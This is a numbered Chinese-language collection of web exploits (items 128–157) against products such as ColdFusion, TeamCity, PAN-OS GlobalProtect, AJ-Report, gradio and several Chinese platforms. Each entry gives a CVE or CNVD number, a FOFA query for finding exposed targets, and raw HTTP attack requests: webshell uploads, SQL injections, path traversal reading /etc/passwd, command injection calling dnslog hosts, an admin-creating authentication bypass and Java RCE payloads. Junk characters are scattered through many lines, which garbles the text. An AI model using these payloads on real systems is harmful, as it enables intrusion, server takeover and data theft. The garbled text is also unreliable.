3 z2 }- W: m% d$ L  h. [
. [3 D+ [: A; I$ W! w/ N------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
3 b/ S; k$ U% h- {5 Y. O
, Y/ y; u9 B4 g* i- Z" x5 R* ZBIM
) q1 j% a% ^9 C$ d. r" P------WebKitFormBoundaryJGgV5l5ta05yAIe0
( L; Z- z7 A5 a! QContent-Disposition: form-data;name="Params"
/ \- l- O2 p8 ?" t+ V- EContent-Type: text/plain
+ d" Y% [7 P; j6 a0 x9 u, I) O& A
4 j: S1 p- z7 u& m; u# S<?xml version="1.0" encoding="UTF-8"?>
6 `9 G$ U# v2 g+ V$ A& q<!DOCTYPE test [
; o( v3 t! V$ f<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
( c: }+ X0 R! J# s( C" ], U3 a>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--



128. Adobe ColdFusion 反序列化
CVE-2023-38203
: `7 Q$ M2 T4 Y5 y/ j" cAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
1 n) E! @: `( B* C3 u: ]/ fFOFA：app="Adobe-ColdFusion"
: u; q/ _$ g& gPAYLOAD

8 W- \- C2 x7 {! t# \1 ~0 H129. Adobe ColdFusion 任意文件读取
2 W1 a8 G, ~  |+ [6 ECVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
3 M* `& l( ]: y' g% c5 Q第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
* @! T! |+ B3 v1 B2 F5 T/ A3 ]Host: x.x.x.x
  i) ~; V9 o; MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' A% M4 ~+ e8 y7 i4 eAccept: */*
Accept-Encoding: gzip, deflate
$ a7 |$ H( k/ p# n+ DConnection: close

( K+ f* W- W( Y4 I( h- j0 C6 F0 V
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
8 O1 W' a  {! z9 r( `2 R/ a8 a+ F: _  GHost: x.x.x.x
! X7 S/ w; O$ g# |1 @* s0 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: m  z% V8 G2 u. uAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
8 g4 O( T( w# F' P; x3 o6 Kuuid: 85f60018-a654-4410-a783-f81cbd5000b9


$ `4 A; M& k  m' g# p" x130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
7 N& a' v0 y; t' |* mContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
' y# x5 |" K+ G
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
( [- a" B* D: m# B! @Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
, v- ^2 d  l  j& z* n; w2 ~, Z------WebKitFormBoundary3OCVBiwBVsNuB2kR--
2 ^! g* M3 {# H7 c
, O! I: j3 ?4 Q9 O$ k3 [3 n6 p
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
+ g+ f0 W4 i) {3 p4 U7 _. ]* t5 GCVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
$ ]" V: H+ Q5 b4 X4 P) {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 j1 _/ `3 r; x' z3 p9 |8 rAccept: */*
Content-Type: application/json
+ a+ B& _3 c$ j! RAccept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
6 R0 c( A# v# ]& o( k
2 M6 J( {6 q7 @1 O; d
( r4 h" v6 P$ Y( P) oCVE-2024-27199
/res/../admin/diagnostic.jsp
. d& g0 ^+ B; y& x. c& }8 Y/.well-known/acme-challenge/../../admin/diagnostic.jsp
, x0 t* G( I+ G3 _/update/../admin/diagnostic.jsp

  C: n2 @  U7 u7 q* E% P
CVE-2024-27198-RCE.py
; a; y1 z( X( N6 F, q* E. I' ^
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
  Q1 \' e( S6 ], d! o7 SHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) d" S9 {  P% [  rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
7 X; p% S' u! v. y
2 g) a5 a7 |. A* q4 U8 ^------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
" g$ Q, O" {1 w4 ]& z1 `7 @) vContent-Type: application/octet-stream

' h8 [6 U1 m& g0 U, |<?php system("cat /etc/passwd");unlink(__FILE__);?>
1 S' j4 y& c9 {------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

6 h" b/ X9 A- i2 o, w
$ V2 q* G: K' H3 {1 r* e
134. 网康NS-ASG应用安全网关index.php sql注入
6 ^# H& _, M" j5 k/ M- kCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
3 I9 }; p5 ]& d( k: o: A/ hCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
1 `2 f2 M8 X. m- \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ i3 g2 N; \* B7 l6 qAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
9 c/ e2 o' L0 \& f7 GSec-Fetch-Mode: cors
" i/ b" r6 \+ i* PSec-Fetch-Site: same-origin
0 |. f* _/ I( RTe: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
3 S. Z* B9 b8 c$ sContent-Length: 263
! |2 @: R2 r5 \8 Z9 u& c8 T+ q! f
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

5 u' u) r, J# M$ G5 m/ z
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
* P& l  Y9 a. E- E% |Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
. Z# A. \/ k2 n3 ?7 VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 y2 j4 {& X: HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 {% a1 W. }( M0 ?# hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 k) ?( r# _; S. \& Y+ p% A: Q3 R

136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
; _2 X- ^& N- k0 }. d3 f2 ~GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
& B; ?/ \) y& a) A0 z) N. bHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
/ ?9 e+ V* J4 d" s  BAccept-Language: en
; R9 V$ l+ o& J8 k$ ]Accept-Encoding: gzip

8 l, I7 Z, W1 R: x, H
, s8 p8 d5 X4 X3 C* G137. 福建科立迅通信指挥调度平台down_file.php sql注入
; H; j& x1 i3 j& uCVE-2024-2620
* X5 G8 z& j5 o; I, m4 [9 l$ o' HFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
0 l) d( |$ U% A2 h9 [  ]6 bGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
7 V( G  t4 q! [8 ]5 d' g9 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
& [' u+ h4 y" `: q9 o8 y* |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 f6 \! |6 I  DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& T# R. t$ j5 a& A& zAccept-Encoding: gzip, deflate, br
: `* d- g6 S" a! g# BConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
* O) h8 H1 J7 J: |
/ U0 V6 D- r- o
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
( M, h* T% a( v4 WCVE-2024-2621
* i0 j8 o$ O8 `* ]FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
; O4 a2 `+ D+ G" fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# |% V( ~. n3 u% v/ CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% E% i& _' k9 s/ x3 E9 {- E7 `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- a& K, G% P: t* V6 {6 O4 BAccept-Encoding: gzip, deflate, br
Connection: close
0 s) u  p9 J* y3 IUpgrade-Insecure-Requests: 1


7 y+ Z* P3 F2 y% h% y4 D139. 福建科立讯通信指挥调度平台editemedia.php sql注入
- W1 D3 `* D3 aCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
' j5 B3 Y2 @! Q, ]: Q2 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 R8 f$ ^$ h+ U; `6 cAccept-Encoding: gzip, deflate, br
Connection: close
% O  Q1 Y3 B- I1 e+ l) E2 l. Q1 MCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

" @' x& y3 s' M3 G- W
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
) G* O3 f; j% i' XCVE-2024-2566
/ }+ z, d+ G2 E: D6 rFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
6 p6 e% K( z8 _/ s* C6 V( ?, R8 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ \) }* P1 w" S6 R7 N# w2 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! c6 t  A7 x+ KAccept-Encoding: gzip, deflate, br
1 D( ?" h  V# C. c+ H& _( y8 s" [5 JConnection: close
2 W# L* {2 r0 L' B$ ~3 wCookie: authcode=h8g9
% [/ n, ]. \; V8 EUpgrade-Insecure-Requests: 1

" `$ u. L+ s0 S4 ]8 N- \6 L) k
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
$ \& X6 t2 n7 Q+ kPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
" X# T$ B9 l7 @Content-Type: application/x-www-form-urlencoded

; S: u0 m. |# e3 Z  i  `
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
' ~. K# j* b1 [CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
) I9 t* O9 s5 Q" S  nFOFA：title='AP setup' && header='netis'
* X/ m- V9 C% s( RPAYLOAD

144. D-Link nas_sharing.cgi 命令注入
0 F: y; S- J- h' M( cFOFA：app="D_Link-DNS-ShareCenter"
" ]  d# w7 j2 o2 A/ Jsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
0 }7 r0 o3 v  ^6 @+ E+ ?$ VHost: x.x.x.x
. @7 ~( O- k/ q, O: h& C' B0 F* v) I, w9 ^User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
5 ^: P# g+ e* H" z" |& S  h0 ^Accept-Language: en
1 M) M8 Q$ T. v. V3 V, h6 XAccept-Encoding: gzip

' `! s1 [* {) u# h  [5 b) d
" j2 A2 Y4 _- @145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
: u8 K$ r  q. E+ k2 V# E4 NFOFA：icon_hash="-631559155"
3 g* T1 A/ Y$ N+ @' h$ H$ bGET /global-protect/login.esp HTTP/1.1
+ L4 Q2 j3 u! o3 S& \: X0 G; MHost: 192.168.30.112:1005
! {. l  z; x/ F6 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
6 r) k3 N; H" C3 D( u- cConnection: close
1 R# t9 v9 d4 x5 C. XCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
2 M9 ?4 o+ }( d2 @& uAccept-Encoding: gzip
/ O: ^+ c' ^! [- {, C+ i
( k* U3 S; X: S) e1 A1 S% O
; J$ Y6 r/ p+ [; a+ H( n146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
) M3 h7 L  s9 G8 u( o7 m* aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
. d  s, R0 j0 e& Z0 @" z/ p. pAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
% Q0 b% _( g% w( `5 f* O
+ Z6 Z$ f0 G1 o7 W  o; s
5 u- {% s, q! \3 S$ W6 L6 T% G  |147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
" R9 s+ t1 z; @; }* DConnection: close

5 ~/ p  T. N& F& W
7 w# P- x5 b- U1 W9 r! E148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
; P% P; z! R" ^% q/ I3 J- l' WFOFA：title="AJ-Report"
* I; W( G+ t4 I( S# X
9 {3 t* E7 n! O% C+ BPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
% Y7 f" Q. A- Y1 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 V: T3 ^3 w1 [, aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
( p& `' w' i3 _" MContent-Type: application/json;charset=UTF-8
Connection: close
+ P7 r6 W# B; |" ~% d* D
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
: u7 B; X5 `) l1 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 k- k5 I6 C' {. f2 X1 C1 Q! rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: h1 m( h- t9 o  O; v7 o: QAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

4 D7 Z4 `" Q% {3 d9 V. \# B{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

1 V% @: A9 e- k2 N, {  s8 t7 d0 m& ^
/ {1 [& I( J/ S; P% q151. AJ-Report 1.4.1 pageList sql注入
, i! f1 T& l, x9 L$ r* S; Y7 sFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
1 b% U2 O( x- Q' i4 B" a7 g/ A% d- |2 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- N& I- f6 L% z* c0 l5 bAccept-Encoding: gzip
& Y2 T4 t2 m4 J
2 p! l* |. C; e. ~
" k0 C: C' ^4 D; o% P152. Progress Kemp LoadMaster 远程命令执行
5 G" `8 b; v8 h1 Y$ d! t1 JCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
2 r" i* G0 d) aLoadMaster <= 7.2.48.10 (LTS)
4 @0 D. {- k( |* U5 y- U' l0 iFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
1 w. D4 ?( q2 q  ]# V. Q5 F1 _Connection: close
  x% ?2 N3 c9 d+ p4 D, A) mAccept: */*
. C5 i! C6 N! J( ^5 BAccept-Language: en
# `. h1 a& k( U% S8 KAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
/ @, @  X2 F4 B! T; LAccept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
$ o* X7 q3 V% q! ^8 @
, k5 m- g% [3 T; H* A6 A7 A+ C1 u
; ?, r& m; ]$ `- j# C. m; o第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
. I( ?( G" w* w9 c9 ~& c, vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
  q4 i; K: X1 j, V8 h* S% _9 X* yConnection: close
Content-Length: 115
Content-Type: application/json
1 S% R, w2 |) m# T7 rAccept-Encoding: gzip

: {: X2 M1 L+ s( C, X: R{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
3 l& S" Y% A, t6 t  O

. A3 h7 s2 r% \% d# ^# X3 ?/ r9 Y第三步访问
' m2 K% t* K  H+ nhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
+ v$ Q6 S  C' I
% e& ~+ R7 e0 l0 z" U0 }
& p3 s3 c( L' q2 \. y0 l154. 天维尔消防救援作战调度平台 SQL注入
  q4 t: D4 t5 M! i$ ]CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
! g: v" o& p8 n8 l3 N# GPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
2 u0 j, P6 y" h; @' A* H% i/ lHost: x.x.x.x
2 ~7 v% v1 U3 \1 E# _* H3 YContent-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
* F. |4 h$ E& c" b% r$ T4 AOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
' S: W) {% i: D3 R' xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
4 w7 m. W* r7 s& V" K3 ^
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
! ]$ J, {& y& f# }  [; V2 I

  }5 `: V1 g  \7 T. p' m/ j155. 六零导航页 file.php 任意文件上传
$ |! \- ?, i8 t+ O% t  o9 pCVE-2024-34982
. {" R9 U; X8 GFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
) g1 q: y# C) |' k7 f* w2 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
9 Y8 f8 g- s% u, NContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
9 }* e1 S0 g% b* Q1 [- rAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
) ~; J1 @1 E  y/ T6 bX-Requested-With: XMLHttpRequest

0 s- j! O( l/ A' G0 M-----------------------------qttl7vemrsold314zg0f
) p" _% H" G3 ~. FContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

5 x* m: O7 J1 |; M) J+ L. i. a<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

3 f$ |# Z' t! P: X& R
6 u& K9 ~( l0 X' j8 _访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
4 b6 Y3 W3 f: r3 d% E7 |6 A
5 ^9 A% {$ }- W/ D2 ^156. TBK DVR-4104/DVR-4216 操作系统命令注入
" O  Y( I# D/ M( kCVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
& }, o" ~! \4 u9 C; O: @+ k9 b
  C% ~) T/ \4 N
1 m) W. G/ [3 H+ g, z* {  pPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
5 j) T( Q# d, j5 dUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
, {; Y. y; p7 H8 [Content-Length: 0
4 l, g0 m+ ~8 p( X1 F. H7 l  lCookie: uid=1
2 ^# i5 E; U9 n5 W9 M6 j6 hAccept-Encoding: gzip
0 y/ |" U5 w+ f7 w& E4 a' @5 `
( U5 M- ^; j$ ~* r. [
157. 美特CRM upload.jsp 任意文件上传
- J- E6 d0 j, y+ U8 HCNVD-2023-06971
6 {! O" ^9 q- s" s7 sFOFA：body="/common/scripts/basic.js"
+ U7 o5 A# [  b. ?- U, _POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
1 k1 A- ^8 Y0 G) A5 ~* hHost: x.x.x.x
/ @  i) n6 \( D, a) b  x$ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
* N, ^2 V" P5 K( ^  qContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 D- c  A! W+ c9 i. o$ sAccept-Encoding: gzip, deflate
, X$ @6 k2 W! U& pAccept-Language: zh-CN,zh;q=0.9
. |9 ~$ \8 m8 }. i, P1 p; aCache-Control: max-age=0
% ~8 O( U) a2 j1 b' ~3 D) w* K3 RConnection: close
6 u0 q* T9 k- v# TContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
% |* C1 o  S9 t5 T- vContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
) j) Y7 x' t1 h# c. s8 C) ]+ p------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
4 u1 g" B9 z, u$ [. K5 }8 d
6 {5 V  ]1 L; Qnull
$ I# C+ A! n4 q# E4 r$ x) U- d------WebKitFormBoundary1imovELzPsfzp5dN
5 b: v) K$ Y1 g* L/ i4 M2 HContent-Disposition: form-data; name="form"
4 [  I" U. \2 q$ g! \" G! q% T
null
------WebKitFormBoundary1imovELzPsfzp5dN
2 O. F, W" v2 ]Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
" [+ w" E( h  `- S, vContent-Disposition: form-data; name="filetitile"

  H$ w7 [& C5 t! E% Inull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
! O( t; {9 ^5 _  [/ o------WebKitFormBoundary1imovELzPsfzp5dN--
. ?. @6 C2 D5 g3 t( P4 X9 P# x

